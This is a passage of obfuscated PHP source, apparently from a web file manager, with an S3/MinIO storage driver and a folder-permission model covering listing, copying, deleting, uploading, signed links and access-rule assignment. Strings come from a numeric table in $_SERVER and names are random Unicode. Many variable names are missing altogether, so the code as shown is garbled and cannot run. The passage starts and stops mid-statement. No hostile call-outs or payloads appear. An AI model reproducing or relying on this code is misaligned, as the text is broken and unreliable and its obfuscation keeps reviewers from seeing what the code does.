$ľ[8] . $ǎ)) { $ǎ = $𬄗 . "\x28{$ꇤ}\x29{$鳊}"; $ꇤ++; } return $ǎ; } private function fileNameAutoList($, $ù, $ = false) { $Ɵ =& $_SERVER[]; $ = $this->listPath($, !0); $ = array_merge($[$Ɵ[82]], $[$Ɵ[83]]); $媙 = array_to_keyvalue($, $Ɵ[12], $Ɵ[32]); $ɥ = $Ɵ[10] . get_path_ext($ù); $ɥ = $ɥ == $Ɵ[10] || $ ? $Ɵ[12] : $ɥ; $ = substr($ù, 0, strlen($ù) - strlen($ɥ)); $ = $ . "\50\60\51{$ɥ}"; for ($ = 1; $ <= count($媙) + 1; $++) { $ = $ . "\x28{$}\51{$ɥ}"; if (!in_array_not_case($, $媙)) { return $; } } return $; } public function listAllFiles($, $ɮ, $퓡 = array()) { $Ѯ =& $_SERVER[]; if (empty($ɮ)) { return array(); } $ͳ = array(); $ = trim($, $Ѯ[8]); foreach ($ɮ as $ʕ) { $כ = ltrim(substr(trim($ʕ, $Ѯ[8]), strlen($)), $Ѯ[8]); $ͳ = array_merge($ͳ, $this->slicePath($כ)); } $ = array(); foreach (array_unique($ͳ) as $ʕ) { $ = array($Ѯ[84] => $this->getPathOuter($Ѯ[8] . $ . $Ѯ[8] . $ʕ), $Ѯ[75] => 1, $Ѯ[76] => 0); if (substr($ʕ, -1) != $Ѯ[8]) { $[$Ѯ[75]] = 0; $ = $this->getPath($ . $Ѯ[8] . $ʕ); $[$Ѯ[76]] = isset($퓡[$]) ? $퓡[$] : $this->size($); } $[] = $; } return $; } public function slicePath($կÒ) { $ι =& $_SERVER[]; $ = explode($ι[8], trim($կÒ, $ι[8])); $턇 = 0; do { ++$턇; $[] = implode($ι[8], array_slice($, 0, $턇)) . $ι[8]; } while ($턇 < count($)); $[count($) - 1] = $կÒ; return $; } public function getHost() { $ =& $_SERVER[]; $ˢ = parse_url(trim($this->domain, $[8])); $ = isset($ˢ[$[180]]) ? $ˢ[$[180]] : http_type(); $Ӟݪ = isset($ˢ[$[181]]) ? $ˢ[$[181]] : $ˢ[$[84]]; if (isset($ˢ[$[182]])) { $Ӟݪ .= $[4] . $ˢ[$[182]]; } return $ . $[183] . $Ӟݪ; } public function pathEncode($Ҩ) { $尸 =& $_SERVER[]; return str_replace($尸[184], $尸[8], rawurlencode($Ҩ)); } } class PathDriverBaseS3 extends PathDriverBase { protected $accessKey = ''; protected $secret = ''; protected $domain = ''; protected $useSSL = false; protected $region = ''; protected $endpoint = ''; protected $bucket = ''; protected $client = null; protected $signVer = "\x76\64"; public $ioUploadServer = "\60"; public $ioFileOutServer = "\60"; public function __construct($֢) { set_timeout(); require_once SDK_DIR . $_SERVER[][185]; parent::__construct(); $this->_init($֢); } public function _init($Ǧ) { foreach ($Ǧ as $ => $½) { if (isset($this->{$})) { $this->{$} = $½; } } $this->endpoint = $Ǧ[$_SERVER[][186]]; $this->client = new S3($this->accessKey, $this->secret, $this->useSSL, $this->endpoint, $this->region); $this->client->setEndpoint($this->getHost()); } public function signatureVersion($֖ = "\x76\64") { $this->signVer = $֖; $this->client->setSignatureVersion($֖); } public function setBucketCors() { return $this->client->setBucketCors($this->bucket); } public function getBucketCors() { return $this->client->getBucketCors($this->bucket); } public function isBucketCors() { $ =& $_SERVER[]; $麓 = $this->getBucketCors(); if (!$麓 || !is_array($麓)) { return !1; } if ($麓[$[187]] != $[188] || $麓[$[189]] != $[188]) { return !1; } $ = array_map($[190], $麓[$[191]]); if (!is_array($)) { $ = array(); } $˝ = array($[192], $[193], $[194], $[195], $[196]); $ދ = array_diff($˝, $); return empty($ދ); } public function mkfile($, $͉ð = '', $Ȕ = REPEAT_RENAME) { $ = $this->setContent($, $͉ð); if ($ !== !1) { return $this->getPathOuter($); } return !1; } public function mkdir($㾻, $ = REPEAT_SKIP) { $ւ쑒 =& $_SERVER[]; if (empty($㾻) && $㾻 !== $ւ쑒[197]) { return !1; } if ($ && $this->_isFolder($㾻)) { return $this->getPathOuter($㾻); } $ = $this->setContent($㾻, $ւ쑒[12], !0); if ($ !== !1) { return $this->getPathOuter($㾻); } return !1; } public function copyFile($ͧ, $ŧ, $˒ = array()) { $ɺ =& $_SERVER[]; $ޭ = $this->objectMeta($ͧ); if (!$ޭ) { return !1; } if ($ޭ[$ɺ[76]] <= 1024 * 1024 * 200) { $љ = $this->client->copyObject($this->bucket, $ͧ, $this->bucket, $ŧ, $ɺ[198], $˒); } else { $љ = $this->client->multiCopyObject($this->bucket, $ͧ, $this->bucket, $ŧ, $˒); } $љ = $љ ? $this->getPathOuter($ŧ) : !1; return $љ; } public function moveFile($ݕ, $) { if ($this->copyFile($ݕ, $)) { $this->delFile($ݕ); return $this->getPathOuter($); } return !1; } public function delFile($ſ) { return $this->client->deleteObject($this->bucket, $ſ); } public function delFolder($ͽ) { $̶ =& $_SERVER[]; if (!$this->exist($ͽ)) { return !0; } $this->listItemCache = !1; $묱 = $this->fileList($ͽ); $this->listItemCache = !0; $ = trim($ͽ, $̶[8]) . $̶[8]; if (!empty($ͽ) && $ͽ !== $̶[197] && !in_array($, $묱[$̶[82]])) { $묱[$̶[82]][] = $; } $Ъ = $this->delByBatch($묱[$̶[83]]); if (!$Ъ) { return !1; } $Ъ = $this->delByBatch($묱[$̶[82]]); if (!$Ъ) { return !1; } return $this->delFile($); } private function delByBatch($) { foreach (array_chunk($, 1000) as $Ⱦ) { $ = $this->client->deleteObjects($this->bucket, $Ⱦ); if (!$) { return !1; } } return !0; } public function rename($ˢ, $Ҏ) { return $this->renameObject($ˢ, $Ҏ); } public function listPath($, $ = false) { $ݍ =& $_SERVER[]; $蒻 = $this->fileList($, $ݍ[8], !0); foreach ($蒻[$ݍ[82]] as $ => $) { $蒻[$ݍ[82]][$] = $this->folderInfo($, $, $); } foreach ($蒻[$ݍ[83]] as $ => $) { $蒻[$ݍ[83]][$] = $this->fileInfo($[$ݍ[32]], $, $); } return $蒻; } protected function infoChildren($ʠ, &$̓) { $ =& $_SERVER[]; $ = $this->fileList($ʠ, $[12], !0); $̓[$[78]] += count($[$[82]]); $̓[$[77]] += count($[$[83]]); foreach ($[$[83]] as $Ħ) { if (!$Ħ || !$Ħ[$[76]]) { continue; } $̓[$[76]] += $Ħ[$[76]]; } } private function fileInfo($ņ, $ޕ = false, $ = array()) { $ =& $_SERVER[]; $ = array($[32] => $this->pathThis($ņ), $[84] => $this->getPathOuter($ņ), $[33] => $[199], $[174] => $this->ext($ņ), $[76] => isset($[$[76]]) ? $[$[76]] : 0); if ($ޕ) { return $; } $[$[200]] = $[$[85]] = 0; $[$[201]] = $[$[202]] = !0; if (empty($)) { $ = $this->objectMeta($ņ); if (!$) { return $; } } if (isset($[$[203]])) { $[$[85]] = $[$[203]]; } if (isset($[$[76]])) { $[$[76]] = $[$[76]]; } return $; } private function folderInfo($, $ = false, $ = array()) { $ғ =& $_SERVER[]; $ = array($ғ[32] => $this->pathThis($), $ғ[84] => $this->getPathOuter($ғ[8] . $), $ғ[33] => $ғ[75]); if ($) { return $; } $[$ғ[200]] = $[$ғ[85]] = 0; $[$ғ[201]] = $[$ғ[202]] = !0; if ($ == $ғ[12]) { return $; } if (empty($)) { $ = $this->objectMeta(trim($, $ғ[8]) . $ғ[8]); } if (isset($[$ғ[203]])) { $[$ғ[200]] = $[$ғ[203]]; } return $; } private function fileList($, $嗢 = '', $ = 0) { $Ԅ =& $_SERVER[]; $ʨ = rtrim($, $Ԅ[8]) . $Ԅ[8]; $ = $this->listObjs($ʨ, null, null, $嗢); if (!$) { return array($Ԅ[82] => array(), $Ԅ[83] => array()); } $џԏ = $ŵ = array(); foreach ($[$Ԅ[204]] as $ܧے) { $ = $ܧے[$Ԅ[32]]; if ($ == $ʨ) { continue; } $ = isset($ܧے[$Ԅ[76]]) ? $ܧے[$Ԅ[76]] : 0; $ = $ == 0 && substr($, strlen($) - 1, 1) == $Ԅ[8] ? !0 : !1; $this->cacheMethodInfoSet($, $, $ܧے); if ($) { $џԏ[] = $; continue; } $ŵ[] = $ ? $ܧے : $; } foreach ($[$Ԅ[205]] as $ܧے) { $џԏ[] = $ܧے[$Ԅ[32]]; $this->cacheMethodInfoSet($ܧے[$Ԅ[32]], !0); } $this->cacheMethodInfoSet($, !0); return array($Ԅ[82] => $џԏ, $Ԅ[83] => $ŵ); } private function listObjs($݊, $Ñ = null, $ = null, $ = null) { $ˤ =& $_SERVER[]; $݊ = trim($݊, $ˤ[8]); $ = empty($݊) && $݊ !== $ˤ[197] ? $ˤ[12] : $݊ . $ˤ[8]; return $this->client->getBucket($this->bucket, $, $Ñ, $, $, !0); } public function has($, $ = false, $ʔ = true) { $ɵ =& $_SERVER[]; $ = trim($, $ɵ[8]); $燾 = empty($) && $ !== $ɵ[197] ? $ɵ[12] : $ . $ɵ[8]; $ = null; $ = 500; $ = $ɵ[8]; $ = $ = array(); while (!0) { $ۊ = $this->listObjs($, $, $, $); if (!$ۊ) { break; } $ = $ۊ[$ɵ[206]]; $ = $ۊ[$ɵ[204]]; $Ўͷ = $ۊ[$ɵ[205]]; if (empty($) && empty($Ўͷ)) { break; } if (count($) == 1 && $[0][$ɵ[32]] == $燾) { break; } if ($) { if (count($)) { $ = array_column($, $ɵ[32]); $ = array_merge($, $); } if (count($Ўͷ)) { $Ўͷ = array_column($Ўͷ, $ɵ[32]); $ = array_merge($, $Ўͷ); } if ($ === null) { break; } continue; } if ($ʔ) { if (!empty($)) { if (count($) > 1 || isset($[0][$ɵ[32]]) && $[0][$ɵ[32]] != $燾) { return !0; } } } else { if (!empty($Ўͷ)) { return !0; } } if ($ === null) { break; } } if ($) { $ = array_diff($, array($燾)); $ = count(array_unique($)); $ = count(array_unique($)); return array($ɵ[207] => $, $ɵ[208] => $); } return !1; } public function listAll($݃) { $Ǹ =& $_SERVER[]; $ = $this->fileList($݃, $Ǹ[12], !0); $ = array(); foreach ($[$Ǹ[83]] as $) { $[$[$Ǹ[32]]] = $[$Ǹ[76]]; } foreach ($[$Ǹ[82]] as $) { if (is_string($)) { $[$] = 0; } } return $this->listAllFiles($݃, array_keys($), $); } public function canRead($) { $ =& $_SERVER[]; $광 = $this->client->getAccessControlPolicy($this->bucket, $); if (!$광) { return !1; } return in_array($광, array($[209], $[210], $[211])) ? !0 : !1; } public function canWrite($) { $ӧ =& $_SERVER[]; $ = $this->client->getAccessControlPolicy($this->bucket, $); if (!$) { return !1; } return in_array($, array($ӧ[209], $ӧ[210])) ? !0 : !1; } public function getContent($Ϧ) { return $this->client->getObject($this->bucket, $Ϧ); } public function setContent($Ρ, $ = '', $ؕ = false) { $ =& $_SERVER[]; $Ρ = $ؕ ? trim($Ρ, $[8]) . $[8] : $Ρ; $ = get_file_mime(get_path_ext($Ρ)); $Ȝ = $this->client->putObject($, $this->bucket, $Ρ, $[198], array(), $); if (!$Ȝ) { return !1; } if ($ؕ) { return !0; } $this->cacheMethod(null, null); $Ȝ = $this->copyFile($Ρ, $Ρ, array($[212] => $Ȝ[$[213]])); return $Ȝ ? !0 : !1; } public function fileSubstr($ߓ, $ė, $ه) { $ўǜ = $ė + $ه - 1; return $this->client->getObject($this->bucket, $ߓ, array($_SERVER[][214] => "\x62\171\164\145\x73\x3d{$ė}\x2d{$ўǜ}")); } public function upload($, $Ϙ, $ׇͽ = false, $ڼ = REPEAT_REPLACE) { $۱ =& $_SERVER[]; $ = array($۱[212] => @md5_file($Ϙ)); $ˁ = array($۱[215] => get_file_mime(get_path_ext($))); if (IO::size($Ϙ) <= 1024 * 1024 * 200) { $ƶ = $this->client->putObjectFile($Ϙ, $this->bucket, $, $۱[198], $, $ˁ); return !empty($ƶ) ? $this->getPathOuter($) : !1; } $έ = $this->client->multiUploadObject($Ϙ, $this->bucket, trim($, $۱[8]), $, $ˁ); return $έ ? $this->getPathOuter($) : !1; } public function download($, $ն) { if (!@is_dir($this->pathFather($ն)) && !IO::mkdir($this->pathFather($ն))) { return !1; } $潈 = $this->client->getObject($this->bucket, $, array(), $ն); return $潈 !== !1 ? $ն : !1; } public function link($н, $Ĕ = array()) { $Խ =& $_SERVER[]; if ($this->signVer == $Խ[216]) { return $this->client->getAuthenticatedURL($this->bucket, $н, 3600 * 12, $Ĕ); } return $this->client->getObjectUrl($this->accessKey, $this->secret, $this->bucket, trim($н, $Խ[8]), 3600 * 12, $this->region, array(), !0, $Ĕ); } public function fileOut($į, $ = false, $Ŭ = false, $ֱ = '') { $ȏƜ =& $_SERVER[]; if ($this->isFileOutServer()) { return $this->fileOutServer($į, $, $Ŭ, $ֱ); } if (!$Ŭ) { $Ŭ = $this->pathThis($į); } $ = get_file_mime(get_path_ext($Ŭ)); if ($ == $ȏƜ[217]) { return parent::fileOut($į, $, $Ŭ, $ֱ); } $㢇 = array($ȏƜ[218] => $); if ($) { $㢇[$ȏƜ[219]] = $ȏƜ[220] . rawurlencode($Ŭ); } else { } $콏 = $this->link($į, $㢇); $this->fileOutLink($콏); } public function fileOutServer($ʨ, $ٞ = false, $Ĺ = false, $߅ = '') { parent::fileOut($ʨ, $ٞ, $Ĺ, $߅); } public function fileOutImageServer($멑, $Ə = 250) { parent::fileOutImage($멑, $Ə); } public function hashMd5($ꋯ, $Ǹ͊ = '') { $ꌎ =& $_SERVER[]; $ = $this->objectMeta($ꋯ); if (!$) { return !1; } $Ǹ͊ = $Ǹ͊ ? $Ǹ͊ : _get($, $ꌎ[221]); $Ǹ͊ = $Ǹ͊ ? $Ǹ͊ : _get($, $ꌎ[213], $ꌎ[12]); return $Ǹ͊; } public function uploadFormData($Ї, $ = 3600) { $ =& $_SERVER[]; $ = $this->pathFather($Ї); $ҳ = $this->client->getHttpUploadPostParams($this->bucket, $, $[198], $); return array_merge((array) $ҳ, array($[181] => $this->getHost())); } public function multiUploadFormData($, $ͅ = 3600) { $ =& $_SERVER[]; $ν = gmdate($[222]); $鍷䜉 = array(); $ = $this->client->getUploadId($this->bucket, $, $鍷䜉); if (!$) { return !1; } return array($[223] => $, $[181] => $this->getHost() . $[8] . $this->pathEncode($), $[224] => $ν, $[94] => $); } public function multiUploadAuthData($, $Ʒ = array()) { $զ =& $_SERVER[]; $ = isset($Ʒ[$զ[224]]) ? $Ʒ[$զ[224]] : gmdate($զ[222]); $܉ = isset($Ʒ[$զ[174]]) ? $Ʒ[$զ[174]] : $զ[12]; $ = $Ʒ[$զ[94]]; unset($Ʒ[$զ[94]]); if (isset($Ʒ[$զ[225]])) { $Ʒ[$զ[224]] = $; return $this->listUploadParts($, $Ʒ); } $ = array($զ[226], $զ[12], $զ[120], $զ[12], "\170\x2d\141\155\x7a\x2d\x64\x61\164\145\x3a{$}", $զ[8] . $this->bucket . $զ[8] . $this->pathEncode($) . $܉); if (strpos($܉, $զ[227]) === 0) { $[0] = $զ[228]; } if (isset($Ʒ[$զ[229]]) && $Ʒ[$զ[229]] == $զ[230]) { $[0] = $զ[230]; } $ = implode($զ[231], $); $ = base64_encode(hash_hmac($զ[232], $, $this->secret, !0)); $ = $զ[233] . $this->accessKey . $զ[4] . $; if (strpos($܉, $զ[227]) === 0) { return array($զ[234] => $, $զ[224] => $); } return $; } public function listUploadParts($Ӡ, $ = array()) { $ =& $_SERVER[]; $Ѕ = str_replace($[235], $[12], $[$[174]]); $ = $this->client->listParts($this->bucket, $Ӡ, $Ѕ); if (!$) { return !1; } unset($[$[225]], $[$[229]]); $[$[94]] = $Ӡ; $ = $this->multiUploadAuthData($Ӡ, $); if (empty($)) { return !1; } return array($[234] => $, $[224] => $[$[224]], $[236] => $); } public function getHost() { return parent::getHost() . $_SERVER[][8] . $this->bucket; } public function size($) { $ = $this->objectMeta($); return $ ? $[$_SERVER[][76]] : 0; } public function info($˽) { if ($this->isFolder($˽)) { return $this->folderInfo($˽); } else { if ($this->isFile($˽)) { return $this->fileInfo($˽); } } return !1; } public function exist($ŏՌ) { return $this->isFile($ŏՌ) || $this->isFolder($ŏՌ); } public function isFile($ȍ) { return !$this->isFolder($ȍ) && $this->objectMeta($ȍ); } public function isFolder($ר) { return $this->cacheMethod($_SERVER[][165], $ר); } protected function objectMeta($ʺ) { return $this->cacheMethod($_SERVER[][167], $ʺ); } protected function _objectMeta($ߟ) { $ =& $_SERVER[]; $ߟ = rtrim($ߟ, $[8]); try { $ۙ = $this->client->getObjectInfo($this->bucket, $ߟ); if (!isset($ۙ[$[221]]) && isset($ۙ[$[237]])) { $ۙ[$[221]] = $ۙ[$[237]]; } } catch (Exception $̂) { $ۙ = !1; } if (!$ۙ) { } return $ۙ; } protected function _isFolder($Ց) { $ =& $_SERVER[]; $Ց = rtrim($Ց, $[8]); if ($Ց == $[12] || $Ց == $[8]) { return !0; } $旬 = $this->client->getBucket($this->bucket, $Ց, null, 1); if (empty($旬[$[204]])) { return !1; } $ = $旬[$[204]][0][$[32]]; return stripos($, $Ց . $[8]) === 0 ? !0 : !1; if (substr($, -1) == $[8]) { return !0; } if (get_path_this($) == get_path_this($Ց)) { return !1; } return !0; } } class PathDriverMinIO extends PathDriverBaseS3 { public function __construct($Ϥ) { parent::__construct($Ϥ); $this->signatureVersion($_SERVER[][216]); } public function setBucketCors() { return !0; } public function getBucketCors() { return !0; } public function isBucketCors() { return !0; } } goto bϭ; b: class SourceAuthModel extends ModelBase { protected $tableName = "\x69\x6f\x5f\163\157\x75\x72\143\145\x5f\x61\165\x74\x68"; public function getAuth($) { $ =& $_SERVER[]; $괳 = $this->sourceAuthSelect($); $ = array(); $ = array(); $ = 2 << 25; foreach ($괳 as $) { $Ԣ = Model($[507])->listData($[$[1967]]); if (!$Ԣ) { continue; } $[] = $; $ⅆ = 0; if ($[$[411]] == SourceModel::TYPE_GROUP) { $ⅆ = $ * 2; } if ($[$[411]] == SourceModel::TYPE_USER) { $ⅆ = $; } if ($[$[411]] == SourceModel::TYPE_USER && $[$[505]] == $[197]) { $ⅆ = 0; } $[] = $Ԣ[$[413]] + $ⅆ; } array_multisort($, SORT_DESC, $); return $; } public function sourceAuthSelect($) { $ҟ =& $_SERVER[]; static $ޕ罫 = array(); $ͩ = is_array($) ? !1 : !0; if ($ͩ) { $ = array($); } $Ǡ = array(); foreach ($ as $) { if (isset($ޕ罫[$])) { $Ǡ[$] = $ޕ罫[$]; } } if (count($Ǡ) == count($)) { return $ͩ ? $Ǡ[$[0]] : $Ǡ; } $㬹 = $ҟ[2040]; $ = array($ҟ[402] => array($ҟ[7], $)); $̓ = $this->field($㬹)->order($ҟ[399])->where($)->select(); $خè = array_to_keyvalue_group($̓, $ҟ[402]); foreach ($ as $) { $ޕ罫[$] = $خè[$] ? $خè[$] : array(); } if ($ͩ) { return $̓; } return $خè; } public function setAuth($в, $̃) { $ =& $_SERVER[]; $ު = Model($[1343])->sourceInfo($в); if (!$ު) { return !1; } if ($ު[$[411]] != SourceModel::TYPE_GROUP) { return !1; } $» = 1; $ = $ު[$[505]]; if ($ != $») { $련 = array($[1863] => $); $雚ɳ = Model($[1953])->field($[1674])->where($련)->select(); $雚ɳ = array_to_keyvalue($雚ɳ, $[12], $[1674]); } $֥ = array(SourceModel::TYPE_GROUP, SourceModel::TYPE_USER); $ = array(); foreach ($̃ as $) { if (!in_array($[$[411]], $֥)) { show_json(LNG($[2041]), !1); } if ($ != $») { if ($[$[411]] == SourceModel::TYPE_GROUP) { } if ($[$[505]] != 0 && !in_array($[$[505]], $雚ɳ)) { } } if ($[$[505]] == 0) { $[$[411]] = SourceModel::TYPE_USER; } $[] = array($[402] => $в, $[411] => intval($[$[411]]), $[505] => intval($[$[505]]), $[1967] => intval($[$[1967]]) ? intval($[$[1967]]) : 0, $[2023] => intval($[$[2023]]) ? intval($[$[2023]]) : -1); } $this->where(array($[417] => $в))->delete(); $this->addAll($); return !0; } public function authClear($) { $ =& $_SERVER[]; $ = Model($[1343])->sourceInfo($); $נ = array($); if ($[$[410]] == $[88]) { $Ɋۃ = array($[590] => array($[550], $[$[521]] . $ . $[551])); $נ = Model($[1343])->field($[417])->where($Ɋۃ)->getField($[402], !0); $נ[] = $; } $this->where(array($[417] => array($[418], $נ)))->delete(); return !0; } public function getAllChildren($DZ) { $ =& $_SERVER[]; $ = Model($[1343])->sourceInfo($DZ); if ($[$[410]] != $[88]) { return $this->sourceListAuth(array($DZ)); } if ($[$[411]] != SourceModel::TYPE_GROUP) { return array(); } $ = 1; $鞣ɾ = array($DZ); if ($[$[432]] == $[197] && $[$[505]] != $) { $鞣ɾ = $this->groupChidldAllRootSource($[$[505]]); } $ŀ = $this->field($[402])->group($[402])->select(); $ŀ = array_to_keyvalue($ŀ, $[12], $[402]); if (!$ŀ) { return array(); } $ = $[2042]; $ = array($[402] => array($[7], $ŀ), $[431] => $[197]); $ = Model($[829])->field($)->where($)->select(); $ = array($DZ); foreach ($ as $ˆ) { foreach ($鞣ɾ as $ݯ) { $܂ = $[50] . $ݯ . $[50]; $ّ = $ˆ[$[521]] . $ˆ[$[402]] . $[50]; if (strstr($ّ, $܂)) { $[] = $ˆ[$[402]]; break; } } } return $this->sourceListAuth($); } private function sourceListAuth($Ѐ) { $ =& $_SERVER[]; $ = Model($[1343])->sourceListInfo($Ѐ, !0); $ = $this->sourceAuthSelect($Ѐ); $ͩ = array(); $Đ = array(); foreach ($ as $䢼) { unset($䢼[$[456]]); unset($䢼[$[454]]); unset($䢼[$[413]]); unset($䢼[$[86]]); $ߧ = $[$䢼[$[402]]]; if (!$ߧ) { continue; } $䢼[$[2043]] = $this->authTargetInfo($ߧ); $䢼[$[519]] = rtrim($䢼[$[525]], $[8]) . $[8] . ltrim($䢼[$[519]], $[8]); $ͩ[] = $䢼; $ = count(explode($[8], trim($䢼[$[519]], $[8]))); $Đ[] = $ + ($䢼[$[33]] == $[75] ? 0 : 1000); } array_multisort($Đ, SORT_ASC, $ͩ); return $ͩ; } private function groupChidldAllRootSource($) { $ =& $_SERVER[]; $ = Model($[2044])->groupChildrenAll($); $ϻ = array($[432] => 0, $[505] => array($[7], $), $[411] => SourceModel::TYPE_GROUP); $Ƅ = Model($[829])->field($[402])->where($ϻ)->select(); $Ƅ = array_to_keyvalue($Ƅ, $[12], $[402]); return $Ƅ; } private function authTargetInfo($) { $ =& $_SERVER[]; $ = array(); $褂 = array(); $ = 2 << 25; foreach ($ as $ٮ) { $؞ = Model($[507])->listData($ٮ[$[1967]]); if (!$؞) { continue; } if ($ٮ[$[411]] == SourceModel::TYPE_USER) { $Š = Model($[513])->getInfoSimpleOuter($ٮ[$[505]]); if ($Š[$[1674]] == $[1196]) { continue; } if ($Š[$[1674]] == $[197]) { $Š[$[32]] = LNG($[2045]); } } else { $Š = Model($[522])->getInfoSimple($ٮ[$[505]]); } if (!$Š) { continue; } $Š[$[467]] = $؞; $[] = $Š; $ = 0; if ($ٮ[$[411]] == SourceModel::TYPE_GROUP) { $ = $ * 2; } if ($ٮ[$[411]] == SourceModel::TYPE_USER) { $ = $; } if ($ٮ[$[411]] == SourceModel::TYPE_USER && $ٮ[$[505]] == $[197]) { $ = 0; } $褂[] = $؞[$[413]] + $; } array_multisort($褂, SORT_DESC, $); return $; } public function getAllChildrenByUser($, $շ) { $ =& $_SERVER[]; $ = Model($[535])->getInfo($շ); if (!$շ || !$ || !$) { return array(); } $ = Model($[1343])->sourceInfo($); $᮵ = array(); $ = 1; if ($[$[432]] == $[197] && $[$[505]] != $ && $this->groupContainUser($[$[505]], $շ)) { foreach ($[$[2046]] as $) { $Ȕ = Model($[522])->getInfo($[$[1863]]); $Ș = Model($[535])->getInfoSimpleOuter($շ); $Ș[$[467]] = $[$[413]]; if (Model($[507])->authCheckAction($[$[413]][$[413]], $[1884])) { continue; } $ = array($[32] => $[1216] . $Ȕ[$[32]], $[402] => $Ȕ[$[86]][$[402]], $[84] => KodIO::make($Ȕ[$[86]][$[402]]), $[432] => $[197], $[411] => $[515], $[33] => $[554], $[519] => $Ȕ[$[526]], $[1863] => $Ȕ[$[1863]], $[523] => $Ȕ[$[432]], $[2043] => array($Ș)); $᮵[$[$[402]]] = $; } } $ = array(); $ڴ = $this->getAllChildren($); foreach ($ڴ as $Э) { $ = !1; foreach ($Э[$[2043]] as $) { if ($[$[1674]]) { if ($[$[1674]] == $շ) { $ = !0; break; } } if ($[$[1863]]) { if ($this->groupContainUser($[$[1863]], $շ)) { $ = !0; break; } } } if ($) { $[] = $Э; } $ = $Э[$[402]]; if (isset($᮵[$])) { $Э[$[2043]][] = $᮵[$][0]; $᮵[$] = !1; } } $᮵ = array_filter(array_values($᮵)); $ = array_merge($᮵, $); return $; } public function setAllChildrenByUser($, $, $Һ) { $ =& $_SERVER[]; $ڡ = $this->getAllChildrenByUser($, $); if (!$Һ || !$ڡ) { return !1; } foreach ($ڡ as $) { $ = array(); foreach ($[$[2043]] as $Ķ) { $唲 = $Ķ[$[467]]; $ = $Ķ[$[1674]] ? SourceModel::TYPE_USER : SourceModel::TYPE_GROUP; $ = $Ķ[$[1674]] ? $Ķ[$[1674]] : $Ķ[$[1863]]; if ($Ķ[$[1674]] && $Ķ[$[1674]] == $) { continue; } $ [] = array($[402] => $[$[402]], $[411] => $, $[505] => intval($), $[1967] => isset($唲[$[399]]) ? intval($唲[$[399]]) : 0, $[2023] => isset($唲[$[2023]]) ? intval($唲[$[2023]]) : -1); } $ [] = array($[402] => $[$[402]], $[411] => SourceModel::TYPE_USER, $[505] => intval($), $[1967] => intval($Һ), $[2023] => -1); $this->where(array($[417] => $[$[402]]))->delete(); $this->addAll($ ); } return !0; } public function get($˜) { $į = $this->getSourceList(array($˜), !0); return $į[0]; } public function getSourceList($˔, $ݗ = false, $ = false) { $ʸۨ =& $_SERVER[]; if (!$˔) { return array(); } $Щ = Model($ʸۨ[1343]); if (!$ݗ && count($˔) == 1) { $ݗ = array(); $ݗ[$˔[0]] = $Щ->sourceInfo($˔[0]); } if (!$ݗ) { $ = array($ʸۨ[417] => array($ʸۨ[418], $˔)); $ݗ = $Щ->field($ʸۨ[2047])->where($)->select(); $ݗ = array_to_keyvalue($ݗ, $ʸۨ[402]); } $ɔ = $˔; foreach ($ݗ as $ => $) { $ס = $Щ->parentLevelArray($[$ʸۨ[521]]); $ɔ = array_merge($ɔ, array($), array_reverse($ס)); } $ɔ = array_values(array_unique($ɔ)); if (!$ɔ) { return array(); } $ = $this->sourceAuthSelect($ɔ); $ = array(); foreach ($ɔ as $) { if (isset($[$])) { $[$] = $[$]; } } $ = $this->userIsRoot($); $ր绦 = AuthModel::authAll(); $̠ = array($ʸۨ[414] => $ր绦, $ʸۨ[2048] => array($ʸۨ[419] => 0, $ʸۨ[1869] => $ր绦, $ʸۨ[420] => LNG($ʸۨ[2049]), $ʸۨ[1886] => $ʸۨ[2050])); $ = array(); foreach ($ݗ as $ => $) { if ($ && $GLOBALS[$ʸۨ[6]][$ʸۨ[1882]]) { $[$] = $̠; continue; } $[$] = $this->makeSourceAuth($, $, $); } return $; } public function authDeepCheck($, $ = false) { $ =& $_SERVER[]; $ = $ ? $ : USER_ID; $݆忥 = $this->makeAuthDeep($); if (!in_array($, $݆忥[$[2051]])) { return !1; } $̪ = array(); foreach ($݆忥[$[2052]] as $ => $) { if (!in_array($, $)) { continue; } $̪[] = $; } if (!$̪) { return !1; } $ĉ = $̪ ? $̪[0] : $; return array($[414] => -1, $[467] => array($[419] => $[1196], $[1869] => $[197], $[420] => LNG($[2053]), $[1886] => $[2054]), $[2055] => LNG($[2056]), $[2057] => $this->sourceAuthInfo($ĉ)); } protected function makeAuthDeep($Ԥ = false) { $ӄ =& $_SERVER[]; static $܆ = array(); $Ԥ = $Ԥ ? $Ԥ : USER_ID; if (isset($܆[$Ԥ])) { return $܆[$Ԥ]; } $Ӽ㕪 = Model($ӄ[2058])->listData(); $ɗ = array(); foreach ($Ӽ㕪 as $۹) { if ($۹[$ӄ[413]] == 0 && $۹[$ӄ[1885]] == $ӄ[88]) { $ɗ[] = $۹[$ӄ[399]]; } } $ĩ = $this->userGroupParents($Ԥ); $Č = array($ӄ[411] => SourceModel::TYPE_USER, $ӄ[505] => $Ԥ); if ($ĩ) { $Č = array(array($ӄ[411] => SourceModel::TYPE_USER, $ӄ[505] => $Ԥ), array($ӄ[411] => SourceModel::TYPE_GROUP, $ӄ[505] => array($ӄ[418], $ĩ)), $ӄ[1007] => $ӄ[1961]); } $퍫 = $this->field($ӄ[2059])->where($Č)->select(); $π = array(); $ϙԳ = array_to_keyvalue_group($퍫, $ӄ[402]); foreach ($ϙԳ as $ܣ => $) { $ߓ = $this->authArrayCheck($, $Ԥ); if ($ߓ[$ӄ[414]] > 0) { $π[] = $ܣ . $ӄ[12]; } } if ($ĩ) { $ = Model($ӄ[522]); foreach ($ĩ as $҅) { $ = $->getInfo($҅); if (!$ || !is_array($[$ӄ[86]])) { continue; } $π[] = $[$ӄ[86]][$ӄ[402]]; } } $맒 = array(); $ۙ = $ĩ; $ԥ = Model($ӄ[1343]); $ = Model($ӄ[522]); $͑ = array(); $ = array(); $ = array(); $떿 = array(); if ($π) { $͢ǁ = $ԥ->where(array($ӄ[402] => array($ӄ[418], $π)))->select(); foreach ($͢ǁ as $
) { $ = $ԥ->parentLevelArray($
[$ӄ[521]]); $맒 = array_merge($맒, $); $ۙ[] = $
[$ӄ[505]]; $͑[$
[$ӄ[402]]] = $; $[$
[$ӄ[402]]] = $
